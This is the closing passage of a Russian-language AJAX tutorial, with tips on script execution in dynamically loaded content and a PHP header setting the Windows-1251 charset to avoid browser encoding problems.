Вот на что следует обратить внимание, тем, кто только знакомится с ajax вообще, и с XMLHttpRequest в частности:

  1. Тег script внутри подгруженного через SallServer куска не исполняется, хотя вызов javascript-функций вполне работает. Так что лучше всего будет вынести функции, как и полагается, в отдельный файл, а из подгружаемой страницы их только вызывать.
  2. Этот кусок кода в подгружаемой странице очень важен:
    <?php
    // Выставляем кодировку
    header("Content-Type: text/html; charset=Windows-1251");
    ?>

Без него в FireFox и Opera будут проблемы с кодировкой, а InternetExplorer вообще откажется с вами работать

Заключение

Представленный пример (особенно JavaScript-фреймворк) несмотря на свою простоту является законченным строительным блоком, который может использоваться для построения web-приложений с асинхронной загрузкой частей страницы. Надеюсь кому-то это будет полезно